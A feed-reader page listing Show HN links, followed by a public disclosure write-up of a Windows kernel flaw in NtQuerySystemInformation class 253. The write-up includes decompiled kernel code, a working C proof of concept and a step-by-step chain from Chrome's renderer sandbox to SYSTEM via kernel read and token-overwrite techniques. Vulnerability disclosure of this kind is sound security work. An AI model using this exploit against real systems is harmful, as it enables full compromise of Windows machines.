惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threatpost
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Engineering at Meta
Engineering at Meta
T
The Blog of Author Tim Ferriss
Recent Announcements
Recent Announcements
G
Google Developers Blog
Google DeepMind News
Google DeepMind News
The Register - Security
The Register - Security
MongoDB | Blog
MongoDB | Blog
U
Unit 42
B
Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
L
LangChain Blog
Stack Overflow Blog
Stack Overflow Blog
P
Privacy International News Feed
L
LINUX DO - 最新话题
博客园_首页
博客园 - Franky
大猫的无限游戏
大猫的无限游戏
小众软件
小众软件
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
T
Tor Project blog
V
Visual Studio Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
P
Privacy & Cybersecurity Law Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
K
Kaspersky official blog
C
Cisco Blogs
博客园 - 【当耐特】
阮一峰的网络日志
阮一峰的网络日志
I
Intezer
罗磊的独立博客
MyScale Blog
MyScale Blog
Last Week in AI
Last Week in AI
A
About on SuperTechFans
G
GRAHAM CLULEY
Y
Y Combinator Blog
Microsoft Security Blog
Microsoft Security Blog
GbyAI
GbyAI
T
Threat Research - Cisco Blogs
P
Proofpoint News Feed
D
DataBreaches.Net
The Hacker News
The Hacker News
Spread Privacy
Spread Privacy
AWS News Blog
AWS News Blog
I
InfoQ
T
The Exploit Database - CXSecurity.com
Simon Willison's Weblog
Simon Willison's Weblog
博客园 - 叶小钗
Project Zero
Project Zero

Show HN

GitHub - steveking-gh/firmion: Firmion is DSL and engine for firmware image generation. GitHub - villagesql/villagesql-skills: Agent skills for VillageSQL - gemini-cli-extension; claude-code-plugin GitHub - flightdeckhq/flightdeck: Observability and control plane for AI agents. CSP Radar GitHub - Light-Heart-Labs/DreamServer: Turn your PC, Mac, or Linux box into an AI server. LLM inference, chat UI, voice, agents, workflows, RAG, and image generation. GitHub - Diplomat-ai/diplomat-agent-ts: What can your TypeScript AI agent do to the real world? Scan your code. See which tool calls have zero checks Code Block Selector - Visual Studio Marketplace Prometheus dependency graph — interactive showcase | Riftmap Show HN: I made a vi-like modal keyboard plugin for Figma GitHub - run-llama/liteparse: A fast, helpful, and open-source document parser GitHub - dalemyers/Roar: A macOS CLI tool for notifications GitHub - district-solutions/open-agent-tools-coder: Enables small-to-large self-hosted ai models to use local source code when running tool-calling agentic workloads. We actively data mine 20,900+ (2+ TB) popular github repos using large and small ai models to create reuseable: json, markdown and parquet files for local-first tool-calling models. GitHub - progapandist/stripeek: A local TUI proxy for real-time Stripe API debugging, built for navigating complex payloads fast. GitHub - sir1st/hermes-desktop: All-in-one cross-platform desktop app for Hermes Agent — bundles Python + hermes-agent + hermes-web-ui GitHub - astefanutti/shaderbang: Shebang for Shaders Show HN: Generate Claude Code Workflows using Spec Driven Development approach GitHub - nixys/nxs-universal-chart: The Helm chart you can use to install any of your applications into Kubernetes/OpenShift Show HN: AI agents for UK GDAD PCF roles and their skills The Two Pillars: Mixer Mode and Meta-Software in the Reorganization of Software Work After AI GitHub - JaiCode08/teleport-env What 1,000+ Harness Experiments Taught Me About Self-Improving Agents Show HN: Liiists, a Markdown-first, iOS and CLI list app SwiperTab – Get this Extension for 🦊 Firefox (en-US) GitHub - kouhxp/fftext: Summarize, explain, fact-check, or translate any text, URL, or file. No GPU. No cloud. One command GitHub - sweetpad-dev/sweetpad: Develop Swift/iOS projects using VSCode GitHub - dogmaticdev/IRON: IRON a.k.a. Intermediate Representation Object Notation is a Interpreter/Database that is used to create Programming Languages. GitHub - sjhalani7/vaen: Package your AI coding harness into a portable .agent file, and share it across repos, teams, & the community without ever having to copy-paste instructions, skills, MCP config, or secrets. Show HN: Gandalf the Grader Show HN: Citadeld – replay any CI failure locally from a single file GitHub - tdortman/cuSBF: High-Performance GPU Super Bloom Filter coral-ai/claude-code-token-xray at main · Coral-Bricks-AI/coral-ai GitHub - ulyssestenn/funes: Funes is a Git-based framework for LLM-managed knowledge work: an AI Librarian ingests raw sources, builds an interlinked Markdown knowledge base, and uses it to produce cited reports, analyses, and other outputs. GitHub - ThatXliner/gah: Git Add Hunk, built for agents to use GitHub - harmont-dev/harmont-cli: Command-line client for the Harmont CI platform GitHub - brooksmcmillin/mcp-authflow: OAuth 2.0 Authorization Server framework for MCP servers GitHub - javaid-codes/audit-supply-chain-agents GitHub - amorey/gochan: A small library of common channel architectures for Go, inspired by Rust GitHub - arifozgun/OpenGem: Free, Open-Source AI API Gateway with Gemini, OpenAI & Anthropic Compatibility in 1 file GitHub - Pranesh950/BioPetals: 🌸 Run BIOxAI models at home, BitTorrent-style. Fine-tuning and inference up to 10x faster than offloading GitHub - cnguyen14/bounty-doctor: Diagnose a GitHub bounty issue before you waste hours: detects honeypot scam repos, AI-bot attempt swarms, and stale contests. Show HN: CoreMCP – MCP Server for On-Prem DBs Show HN: KittyHTML – Render HTML/CSS as an inline image in your terminal GitHub - bingud/filemat: Web-based file manager Show HN: TruthLens – Free multi-signal deepfake image detector GitHub - apexlocal-jz/claude-usage-tray: Windows system-tray app showing your Claude Code rate-limit usage at a glance. Zero deps, ~300 lines of PowerShell. Cross-IDE (works regardless of VS Code, Cursor, plain terminal). Release v0.1.2.1 · kouhxp/yapsnap GitHub - noopolis/moltnet: Self-hostable chat network for AI agents. Pre-built bridges for Claude Code, Codex, and the Claws. Rooms, DMs, history. No Slack bots, no Matrix, no glue code. GitHub - tamerh/enju: Coordinating Humans, AI Agents, and Compute as Peers on a Shared Workflow Graph Show HN: Continuity-auth – Respect-weighted rate limits for the open web GitHub - luml-ai/luml: AI lifecycle platform where engineers and agents track experiments, train models, and ship to production. GitHub - mrdanielcasper/CoreTex: A UNIX-inspired, biomimetic, flat-file AI harness and knowledge engine. GitHub - clemg/pierre-github: Pierre's diffs.com and trees.software for Github GitHub - lyriks-io/unspaghettit: Behavior-driven AI development without prompt spaghetti. GitHub - sofumel/claude-handoff-revive: Resume Claude Code work after rate/usage/context limits without replaying the prior transcript. Auto-saves at 90%/95% usage. Plugin-installable, 10 languages. GitHub - dotexorg/saferpc: Typed, end-to-end encrypted RPC over any bidirectional channel. GitHub - BeeZeeAgent/beezee: Agent harness orchestration Legato Next.js Boilerplate for Internal Tools · CoreUI GitHub - clark-labs-inc/clark-hash: Clark Hash, 32x smaller searchable sketches for embeddings GitHub - ZeroPointRepo/youtube-mcp: The fastest YouTube transcript + YouTube search MCP for AI agents. Try for free. Typing Mastery — climb toward 100+ WPM, deliberately GitHub - Andebugulin/Awareen GitHub - fayzan123/claude-workflow-composer: Visual desktop app for composing multi-agent coding workflows. Drag agents, attach skills and MCPs, wire handoffs, export to .claude/ GitHub - harshaneel/humanize: Best static AI text humanizer. Two research-grounded skills that work in any LLM (Claude, ChatGPT, Gemini, Codex): humanize beats perplexity-based detectors, ai-check produces forensic scoring with evidence-quoted flags. Nine levers, 50+ peer-reviewed sources, 2024-2026 detection literature. GitHub - StackOneHQ/stack-nudge GitHub - nodes-app/swift-markdown-engine: A native AppKit Markdown editor for macOS, built on TextKit 2 and bridged to SwiftUI. We hardened an LLM agent. Each defense we added made it more exploitable. GitHub - alkait/WhatsKept: Agent-queryable WhatsApp history from an iOS backup — a single Go binary. GitHub - octelium/cordium: Open-source, general-purpose sandbox platform for devs and AI agents that provides identity-based secure access to infrastructure without credentials. WAR.GOV/UFO Microfilm5 GitHub - scosman/videowright: Build animated explainer videos with your coding agent GitHub - dipankar/dscode: The code editor you can take apart. GitHub - zoharbabin/web-researcher-mcp: MCP server (Go) for AI assistants: web search, content extraction, academic/patent/news research. Multi-provider routing, 4-tier scraping, search lenses. Works with Claude, Cursor, and any MCP client. GitHub - ruvnet/RuView: π RuView turns commodity WiFi signals into real-time spatial intelligence, vital sign monitoring, and presence detection — all without a single pixel of video. GitHub - scanaislop/aislop: Catch the slop AI coding agents leave in your code: narrative comments, swallowed exceptions, as-any casts, dead code, oversized functions. 50+ rules across 7 languages (TypeScript, JavaScript, Python, Go, Rust, Ruby, PHP). Sub-second, deterministic, no LLM at runtime. MIT-licensed. GitHub - kouhxp/cheap-im: CPU-only voice agent approximating Thinking Machines' Interaction Models demo GitHub - unprovable/OrchidMantis: Orchid Mantis — standalone framework for Zero-Knowledge Proofs of eXploit (ZKPoX). GitHub - MarcellM01/TinySearch: Shrink the web for your local LLMs! GitHub - TangibleResearch/Halgorithem: A Algo designed to detect AI Hallucitions GitHub - DO-SAY-GO/freelang: I love freelang GitHub - CarpseDeam/Aura-IDE: An AI coding harness that shaped itself - Planner/Worker agents, repo awareness, surgical edits, validation, recovery, and safe diff approvals. GitHub - chojs23/concord: A feature-rich TUI client for Discord GitHub - tommyjepsen/awesome-ux-skills: UX & AI Product designs skills you can use today in Claude Code GitHub - aerf-spec/aerf: Agent Evidence Receipt Format (AERF) — an open specification for tamper-evident, independently verifiable records of AI agent actions. GitHub - kklimuk/docx-cli: CLI for AI agents (Claude, Codex) to read, edit, and comment on .docx files with full format fidelity. GitHub - Jwrede/tokentoll: Catch LLM cost changes in code review. Infracost for LLM spend. GitHub - samchon/ttsc: A `typescript-go` toolchain for compiler-powered plugins and type-safe execution + 500x faster lint integrated into compiler GitHub - Higangssh/homebutler: 🏠 Manage your homelab from chat. Single binary, zero dependencies. GitHub - olalie/tapmap: See where your computer connects and what stands out on a live world map. GitHub - Diplomat-ai/diplomat-agent: What can your AI agent do to the real world? Scan your code. See which tool calls have zero checks GitHub - Bajusz15/beacon: Open-source agent for secure remote access, monitoring, and deploys across home-lab and self-hosted machines like Raspberry Pi, N100, or any Linux server. Open web based TTY or tunnel Home Assistant and other local services securely without opening ports. BigTech AI News - Chrome 应用商店 GitHub - vinhnx/VTCode: VT Code is an open-source coding agent with LLM-native code understanding and robust shell safety. Supports multiple LLM providers with automatic failover and efficient context management. GitHub - michaelaz774/decision-engine: A decision operating system for startup founders, powered by Claude Code. Synthesizes wisdom from 25+ legendary founders and investors into interactive AI-driven decision frameworks. GitHub - Chrilleweb/dotenv-diff: Validate environment variable usage in your codebase GitHub - Lumen-Labs/brainapi2: BrainAPI is a knowledge graph–powered AI memory layer that transforms unstructured data into structured knowledge, enabling intelligent search, recommendations, and contextual memory for AI agents and applications. GitHub - familiar-software/familiar: Let AI watch you work. Familiar lets your AI update its memory, skills, and knowledge by watching your screen. GitHub - skorotkiewicz/rudo: A small, elegant dock for Wayland GitHub - muxshed/shed: One stream in, or many. Every destination, simultaneously. No cloud middleman, no per-channel fees, no limits. make sidebar/address bar rounded corner toggleable
CVE-2026-40369 // Arbitrary Kernel Address Increment
orinimron123 · 2026-05-29 · via Show HN

A single syscall from any unprivileged process — including inside Chrome's renderer sandbox — can increment arbitrary kernel memory addresses. No race conditions. No heap spray. No special tokens. 100% deterministic privilege escalation to SYSTEM.

Preface — How I Got Here

I wanted to compete in Pwn2Own Berlin 2026 in the Web Browser category. The target: escape Chrome's renderer sandbox via a Windows kernel bug — starting from a compromised renderer process, demonstrate code execution outside the sandbox.

Chrome's sandbox makes the kernel attack surface surprisingly small. The renderer process runs at untrusted integrity with a heavily restricted token. Win32k is completely locked out (win32k lockdown), which eliminates the entire GDI/USER attack surface that has historically been the bread and butter of Windows kernel exploitation. What's left? A handful of NT syscalls that aren't blocked: file operations (heavily filtered by the broker), registry (mostly read-only), and a few system information queries.

Initially, I didn't want to touch NtQuerySystemInformation. It's probably the most audited syscall on Windows — every kernel researcher and their fuzzer has looked at it. Hundreds of info classes, decades of patches. Surely everything exploitable has been found and fixed by now.

But my mind kept coming back to it. I've found simple bugs in "obvious" places before — places where everyone assumes someone else already looked carefully. There's a paradox: the code that everyone thinks has been thoroughly audited sometimes receives less scrutiny precisely because of that assumption. Researchers skip it thinking "no way there's anything left there." The result is that the most looked-at code can be the least looked-at code.

So I opened IDA and started by disqualifying the simple info classes first — get them out of the way so I don't need to think about them later. Within less than a day I hit class 253: a trivially exploitable arbitrary kernel write primitive hiding in plain sight, sharing a code path with the heavily-audited class 5, but with one critical validation missing.

I developed the full exploit, registered for Pwn2Own Berlin — and got rejected. Due to "unprecedented interest," ZDI received over 100 entry requests and hit max capacity at the venue. They couldn't add extra contest days. It wasn't an easy decision on their end, but it was a heartbreaking one on mine. So here we are — full public disclosure instead.

The Bug

NtQuerySystemInformation with info class 253 (SystemProcessInformationExtension) dispatches to ExpGetProcessInformation. The critical flaw: ProbeForWrite(buffer, Length, alignment) is called before dispatch, but when Length=0, ProbeForWrite is a complete NO-OP — its entire body is gated by if (Length).

This means any pointer — including a kernel-mode address — passes through to the write loop without validation. The function stores the buffer pointer into pExtensionOut and then, for every process on the system, increments the value at that address. This is not a NULL dereference — it is a direct arbitrary kernel address increment primitive callable from any unprivileged process.

NtQuerySystemInformation — The Entry Point

The syscall handler at 0x140ae08a0 is a thin dispatcher. For class 253 it falls through to the default case:

void __fastcall NtQuerySystemInformation(
    unsigned int a1, _QWORD *a2, ULONG a3, ULONG *a4)
{
  switch ( a1 ) {
    // ... special cases for classes 8, 0x17, 0x2A, etc ...
    case 0x6Bu: case 0x79u: /* ... blocked classes ... */
      return;
    default:
      v9 = 0;
      ExpQuerySystemInformation(a1, NULL, 0, a2, a3, a4); // ← class 253 lands here
      return;
  }
}

ExpGetProcessInformation — The Vulnerable Function

At 0x140ada6d0, the function handles the buffer pointer differently per info class. For class 253, pExtensionOut is set directly from the user-supplied buffer (userBuffer) with zero validation:

ExpGetProcessInformation(unsigned int *userBuffer, unsigned int length, ...)
{
  if ( infoClass == 252 ) {     // @ 0x140ada807
    pCompactInfo = userBuffer;  // class 252 uses pCompactInfo - safe path
    pProcessInfo = 0;
  }
  else {
    pCompactInfo = 0;           // @ 0x140ada83d
    if ( infoClass == 253 ) {   // @ 0x140ada84b
      entrySize = 12;           // entry size = 12 bytes (3 x DWORD)
      pExtensionOut = userBuffer; // @ 0x140ada874 — BUG! No validation!
      pProcessInfo = 0;
      goto LABEL_11;             // skip the pExtensionOut = 0 below
    }
    pProcessInfo = userBuffer;   // class 5 uses pProcessInfo - safe path
  }
  pExtensionOut = 0;            // @ 0x140ada8bd - class 5/252 clear it (safe)

LABEL_11:
  // Size check: does NOT return early on failure!
  if ( length < entrySize )      // @ 0x140ada8da - Length < 12?
    status = 0xC0000004;         // STATUS_INFO_LENGTH_MISMATCH (stored, not returned!)
  ...
  // Process iteration - executes for EVERY process on the system
  while ( NextProcess ) {                              // @ 0x140adaa76
    if ( infoClass == 253 ) {                           // @ 0x140adaaf6
      ++*pExtensionOut;                                 // @ 0x140adaafe: *(DWORD*)(addr+0) += 1
      pExtensionOut[1] += PsGetProcessActiveThreadCount(NextProcess); // addr+4
      pExtensionOut[2] += ObGetProcessHandleCount(NextProcess, 0);   // addr+8
    }
    // ... class 5/252 paths with proper bounds checking ...
    NextProcess = ExGetNextProcess(NextProcess, restricted); // @ 0x140adb9e4
  }

Classes 5 and 252 use separate variables (pProcessInfo/pCompactInfo) with proper bounds checking before writes. Class 253 jumps over the pExtensionOut = 0 assignment via goto LABEL_11, leaving pExtensionOut pointing directly at the attacker's buffer — which, thanks to the ProbeForWrite bypass, can be any kernel address.

The Write Primitive

// Exploitation Primitive

NtQuerySystemInformation(253, kernelAddr, 0, &needed) passes an unvalidated kernel pointer through to the write loop. ProbeForWrite skipped (Length=0). No address check. Direct arbitrary kernel increment.

For each process on the system, the function writes at the attacker-supplied address:

  • ++*pExtensionOut @ 0x140adaafe*(uint32*)(addr+0) += 1 per process
  • pExtensionOut[1] += PsGetProcessActiveThreadCount() @ 0x140adab0b*(uint32*)(addr+4) += thread_count
  • pExtensionOut[2] += ObGetProcessHandleCount() @ 0x140adab1b*(uint32*)(addr+8) += handle_count

Why the writes happen despite LENGTH=0

In ExpGetProcessInformation at 0x140ada8da, the length check:

  lengthTooSmall = length < entrySize;       // @ 0x140ada8d3 - Length (0) < 12? YES
  if ( length < entrySize ) {                // @ 0x140ada8da
    if ( !returnLength )                     // only returns if ReturnLength ptr is NULL
      return 0xC0000004;                    // STATUS_INFO_LENGTH_MISMATCH
  }
  status = lengthTooSmall ? 0xC0000004 : 0; // stores error in status... but continues!
  // Execution falls through into the process iteration loop
  // The writes at pExtensionOut happen BEFORE this status is ever returned

The function does NOT return early. It stores STATUS_INFO_LENGTH_MISMATCH in a local and continues into the process iteration loop. All three writes execute for every process on the system. The error status is only returned after the damage is done.

Proof of Concept

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef long NTSTATUS;
#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
    ULONG, PVOID, ULONG, PULONG);

int main(void)
{
    PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

    PVOID target = (PVOID)0xffff800041424344ULL;  // any kernel address

    ULONG needed = 0;
    NTSTATUS status = pNtQSI(
        253,       // SystemProcessInformationExtension
        target,    // kernel address - ProbeForWrite skipped because Length=0
        0,         // Length=0 bypasses ProbeForWrite entirely
        &needed
    );
    // If target is mapped writable kernel memory:
    //   *(DWORD*)(target+0) += number_of_processes
    //   *(DWORD*)(target+4) += total_thread_count
    //   *(DWORD*)(target+8) += total_handle_count
    // If target is unmapped → BSOD (kernel fault on write)

    printf("[*] status: 0x%08lX | needed: %lu\n", status, needed);
    return 0;
}
PROCESS_NAME: poc.exe

nt!ExpGetProcessInformation+0x42e:
fffff801`d7adb22e ff03   inc dword ptr [rbx]   ; rbx = 0xffff800041424344

Registers:
  rbx = 0xffff800041424344 (attacker-supplied kernel address, pExtensionOut)
  r14 = 0xC (= 12 = per-entry size, confirms class 253 path)
  r15 = fffff801d7fcef00 (EPROCESS of current iteration)

Stack:
  nt!ExpGetProcessInformation+0x42e
  nt!ExpQuerySystemInformation+0xd7f
  nt!NtQuerySystemInformation+0x91
  nt!KiSystemServiceCopyEnd+0x25
  ntdll!NtQuerySystemInformation+0x14

═══════════════════════════════════════════════════════════════

Sandbox Escape

NtQuerySystemInformation is not blocked by any of the standard sandbox mitigations:

  • Win32k lockdown — irrelevant (this is an NT syscall, not win32k)
  • Restricted tokens — no privilege check on this info class
  • Untrusted integrity level — no integrity check
  • Chrome renderer sandbox — fully reachable
  • Edge, Firefox — fully reachable

// Impact

Any compromised renderer process (via a V8/SpiderMonkey bug, etc.) can escalate directly to SYSTEM — the sandbox provides zero protection against this primitive.

Full Exploit Chain

From unprivileged user (or sandbox) to NT AUTHORITY\SYSTEM:

KASLR Bypass
prefetch side-channel
Corrupt CmpLayerVersions
class 253 increment
Kernel Read
class 222 confusion
Token Overwrite
increment token+0x42
Code Execution
inject winlogon
SYSTEM

Step 1: KASLR Bypass

Leak the ntoskrnl base address via the prefetch side-channel tool. No kernel interaction needed — pure usermode timing attack.

Step 2: Arbitrary Kernel Read via CmpLayerVersions Corruption

The class 253 write primitive is used to corrupt kernel data structures that enable an arbitrary read. Here's the full visual breakdown:

KERNEL — ntoskrnl.exe + RVA_CmpLayerVersionCount

CmpLayerVersionCount 0x04 0x0B incremented via class 253 write primitive

Valid indices expanded: [0..3] → [0..10] — index 9 now accessible

repeat: write_at(ntos + RVA_CmpLayerVersionCount - 11) // addr+0 gets +1 per process, but we target offset -11 so the DWORD at CmpLayerVersionCount gets incremented

KERNEL — CmpLayerVersions[16] (fixed-size array, only 4 entries used at runtime)

[0] 0xFFFFF801`A2B40100 → legitimate version struct

[1] 0xFFFFF801`A2B40200 → legitimate version struct

[2] 0xFFFFF801`A2B40300 → legitimate version struct

[3] 0xFFFFF801`A2B40400 → legitimate version struct

[4..8] 0x00000000`00000000 unused (always NULL)

[9] 0x00000000`00000000 0x00000000`0001XXXX → USERMODE!

[10..15] 0x00000000`00000000 unused (always NULL)

// Key Insight: Starting from Zero

The array is statically sized to 16 entries, but CmpLayerVersionCount is always 4 at runtime. Entries [4] through [15] are always NULL (0x0000000000000000). This is why we target index 9 — we're incrementing a NULL pointer upward, not corrupting a legitimate kernel pointer downward. Starting from zero means we only need to increment into the 0x10000–0x1FFFF range to land in our usermode allocation.

repeat: write_at(ntos + CmpLayerVersions + sizeof(DWORD) + (QUERY_INDEX - 1) * sizeof(QWORD)) // Each call adds ~process_count to the low DWORD. Starting from 0, we increment until the value reaches 0x10000–0x1FFFF.

We cannot predict exactly where CmpLayerVersions[9] will land within our allocation. Here's why:

Call #1: +87 processes running → ptr = 0x00000057

Call #2: +89 processes (2 spawned) → ptr = 0x000000B0

Call #3: +85 processes (some exited) → ptr = 0x00000105

... process count fluctuates every call

Call #N: ptr = 0x0001???? — somewhere inside our 0x10000 allocation

// Why We Can't Just Calculate the Offset

Each syscall increments *(DWORD*)(ptr) by the current number of running processes. This count changes between calls — services start, background tasks spawn, svchost forks workers. The increment is non-constant, so after N calls the final value is the sum of N different process counts. We know it'll be somewhere in our 64KB allocation at 0x10000, but not where exactly.

This is why we pre-fill the allocation with a unique DWORD pattern and then detect the landing:

// 1. Fill 64KB with unique pattern: p[i] = i
FillAllocationWithUniqueDwordPattern(p, 0x10000);

// 2. Query class 222, index 9 - kernel reads Field_04 from our fake struct
//    The returned Field_04 will be whatever DWORD was at landing+4
query_build_info(QUERY_INDEX, &info);

// 3. The value in info.Field_04 IS the pattern DWORD at the landing offset
//    Search our allocation to find it:
confusion = detect_address(p, 0x10000, info.Field_04);
//    Now we know the EXACT byte offset where the pointer landed
//    and can write our FAKE_VERSION_STRUCT at that address

Why This Never Crashes the Kernel

A natural question: what if the pointer hasn't reached our allocation yet (still below 0x10000), or somehow overshoots past it (beyond 0x20000)? The answer: it doesn't matter. The kernel won't crash either way.

0x00000000 – 0x0000FFFF Unmapped usermode Fault → caught by __try/__except → returns error

0x00010000 – 0x0001FFFF Our VirtualAlloc (64KB) Dereference succeeds → reads our fake struct

0x00020000+ Unmapped usermode Fault → caught by __try/__except → returns error

0xFFFF8000`00000000+ Kernel address space Would BSOD — but we start from 0, so we never reach here

The key insight is that CmQueryBuildVersionInformation runs inside ExpQuerySystemInformation's __try/__except block. When the kernel dereferences CmpLayerVersions[9] and it points to an unmapped usermode address:

  __try {
    ProbeForWrite(userBuffer, Length, 4);  // validates OUTPUT buffer
    ...
    CmQueryBuildVersionInformation(&idx, ...);
    //   ^^ inside here: pVersionStruct = CmpLayerVersions[idx]
    //   If v7 points to unmapped usermode addr → ACCESS_VIOLATION
    //   The kernel CANNOT distinguish between:
    //     - "legitimate ptr to a page that got swapped out"
    //     - "corrupted ptr that was never valid"
    //   It's a usermode address, so it's treated as a normal fault.
  }
  __except(EXCEPTION_EXECUTE_HANDLER) {
    return GetExceptionCode();  // STATUS_ACCESS_VIOLATION → returned to caller
    // No crash. No BSOD. Just an error code.
  }

// Why usermode faults are safe but kernel faults are not

When the kernel faults on a usermode address, SEH can catch it — this is by design, since user buffers can be unmapped at any time (paging, race conditions). The kernel has no way to know if the dereference "should have worked" or not. It just sees a usermode pointer that faulted, catches the exception, and returns an error status.

Contrast this with the class 253 write primitive: if you pass an invalid kernel address, the fault occurs at a kernel address which triggers a bugcheck (BSOD) because kernel pages should never fault unexpectedly. That's why the write primitive requires a valid, mapped kernel target.

// Windows does not enforce SMAP

This entire usermode-mapping trick relies on the kernel being able to freely dereference usermode pointers. On Linux/macOS, SMAP (Supervisor Mode Access Prevention) causes an immediate fault if kernel code touches a usermode address without explicitly disabling the protection first (stac/clac or copy_from_user).

Windows does not use SMAP. The kernel routinely dereferences usermode pointers directly (guarded by __try/__except rather than hardware enforcement). This means corrupting a kernel pointer to point at usermode memory works seamlessly — the kernel happily reads our fake struct without any access fault. On a SMAP-enabled OS, the kernel would fault the moment it tried to access our usermode allocation, regardless of SEH, making this confusion technique impossible.

Microsoft is working on adding SMAP enforcement to Windows, which would mitigate the usermode mapping trick. Until then, usermode mappings remain a free lunch for kernel exploitation on Windows.

Result: We can safely probe whether the pointer has landed by repeatedly querying class 222. If it returns an error → pointer hasn't reached our allocation yet, increment more. If it returns success and Field_04 matches our pattern → we've landed. Zero crash risk during the entire sliding process.

USERMODE — VirtualAlloc(0x10000, 0x10000)

0x00000000

0x00000001

0x00000002

0x00000003

sequential DWORD pattern

Pre-filled with unique DWORD pattern: p[i] = i

Query class 222 with index 9
Read back Field_04 from output
Search allocation for matching DWORD
→ reveals exact landing offset

DETECTED: CmpLayerVersions[9] landed at offset

Pattern match reveals exact address within our allocation

FAKE_VERSION_STRUCT (at detected offset within 0x10000 allocation)

+0x00 header[16] don't care (DWORDs copied to output)

+0x10 UNICODE_STRING us1 .Length = 2 .MaxLength = 2 .Buffer = TARGET_KERNEL_ADDR

+0x20 UNICODE_STRING us5 zeroed (unused)

+0x30 UNICODE_STRING us6 zeroed (unused)

+0x40–0x60 us2, us3, us4 zeroed

+0x320 field_320 0

Kernel reads us1

CmpQueryDowncastString(output+10, 128, &us1)

Follows .Buffer pointer

Reads 2 bytes from TARGET_KERNEL_ADDR

UTF-16 → UTF-8 conversion

RtlUnicodeStringToAnsiString()

Result copied to usermode

Decode UTF-8 → recover original 2 bytes

This gives a full arbitrary kernel read primitive — 2 bytes at a time, decoded from the UTF-16 → UTF-8 conversion. Surrogate pairs (bytes in the 0xD800-0xDFFF range) are resolved by reading at misaligned offsets.

The read primitive depends on CmpQueryDowncastString calling RtlUnicodeStringToAnsiString. Inside that function, the kernel checks which code page the calling process uses — and the conversion path changes completely:

Kernel reads 2 bytes: 0x48 0x8B

Interprets as wchar: U+8B48

Looks up in WideCharTable[]

Maps to: 0x3F (?)

LOSSY. Thousands of wchar values collapse to ?. Impossible to recover original bytes. The single-byte ANSI lookup table (WideCharTable) is a many-to-one mapping — most CJK, symbols, and high-byte values are destroyed.

VS

Kernel reads 2 bytes: 0x48 0x8B

Interprets as wchar: U+8B48

Calls RtlUnicodeToUTF8N()

Emits: 0xE8 0xAD 0x88 (3-byte UTF-8)

LOSSLESS. Every wchar U+0000–U+FFFF encodes to 1–3 byte UTF-8. Fully reversible — decode the UTF-8 back to the wchar, split into original two bytes. The only exception: surrogates (U+D800–U+DFFF) emit U+FFFD — handled by reading at misaligned offsets.

The kernel's decision point is in RtlUnicodeStringToAnsiString at 0x1408a9842:

  if ( RtlpIsUtf8Process(0) )       // @ 0x1408a9842 - checks process code page
  {
    RtlUnicodeToUTF8N(dst, max,       // UTF-8 path: LOSSLESS encoding
        &actualLen, src, srcLen);      // every wchar round-trips perfectly
  }
  else
  {
    // ANSI path: uses WideCharTable[] lookup
    while ( count < max ) {
      dst[count] = WideCharTable[src[count]]; // LOSSY! many wchars → 0x3F ('?')
      ++count;
    }
  }

RtlpIsUtf8Process at 0x1408aa170 checks for the magic value 0xFDE9 in three places:

  // Check 1: silo-global ACP
  if ( *(WORD*)(SiloGlobals + 0x408) == 0xFDE9 )  return true;
  // Check 2: silo-global OEMCP
  if ( *(WORD*)(SiloGlobals + 0x448) == 0xFDE9 )  return true;
  // Check 3: per-process PEB ActiveCodePage
  if ( *(WORD*)(PEB + 0x34C) == 0xFDE9 )         return true;  // ← this is what we set
  return false;

So the exploit patches the PEB directly:

void SetProcessUtf8(void)
{
    PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    *(USHORT*)((BYTE*)peb + 0x34C) = 0xFDE9;  // ActiveCodePage = UTF-8
}

Byte Recovery Example

Target kernel bytes: 0x48 0x8B

Kernel interprets as wchar (LE): U+8B48

UTF-8 encoding (3 bytes): 0xE8 0xAD 0x88 11101000 10101101 10001000

Extract bits: 1000101101001000 = 0x8B48

Split wchar to bytes (LE): low = 0x48, high = 0x8B

Recovered: 0x48 0x8B ✓

The read primitive reads 2 bytes at a time (one UTF-16 wchar). But there's a problem: if the two kernel bytes happen to form a value in the 0xD800–0xDFFF range, they're interpreted as a UTF-16 surrogate. Surrogates are unpaired halves that RtlUnicodeToUTF8N replaces with U+FFFD (replacement character) — the original bytes are destroyed.

The Problem: Surrogate Byte Pairs

Target bytes: 0x000xD9 → wchar 0xD900 ∈ surrogate range → U+FFFD (LOST!)

Target bytes: 0x480x8B → wchar 0x8B48 ∉ surrogate range → decoded fine

Any byte pair where the high byte is 0xD8–0xDF will be destroyed by the UTF-16 → UTF-8 conversion. This isn't rare — 1 in 32 random byte pairs hits this range.

The Solution: Read Neighbors at Offset ±1

If bytes [i, i+1] form a surrogate, we don't know their values. But the bytes before and after them are already known from successful aligned reads. So we read at misaligned offsets — pairing each unknown byte with a known neighbor:

Read at offset i-1: wchar from bytes [i-1, i] Result: raw[0]=0x41 raw[1]=0x00 raw[0] matches known byte[i-1] ✓ raw[1] = byte[i] ← RECOVERED!

Read at offset i+1: wchar from bytes [i+1, i+2] Result: raw[0]=0xD9 raw[1]=0x90 raw[1] matches known byte[i+2] ✓ raw[0] = byte[i+1] ← RECOVERED!

i-1 0x41

i 0x00 recovered!

i+1 0xD9 recovered!

i+2 0x90

Why This Works

The misaligned reads succeed because pairing an unknown byte with a different neighbor almost certainly produces a non-surrogate wchar. For a surrogate to form, the high byte must be 0xD8–0xDF. When we shift by one byte:

Read [i-1, i]: high byte is now byte[i] (the unknown one). If byte[i] isn't 0xD8-0xDF (which it usually isn't — the original surrogate was [i,i+1] meaning byte[i+1] was the high byte), this read succeeds.

Read [i+1, i+2]: high byte is now byte[i+2] (already known, and we already successfully read it in a different pair, so it's not in surrogate range in this context).

In the extremely rare case where three consecutive bytes are all in 0xD8–0xDF (probability: 1/32³ ≈ 0.003%), the fallback assigns 0xD8 as a best-guess for the unresolvable byte. In practice, this never happens on real kernel data structures.

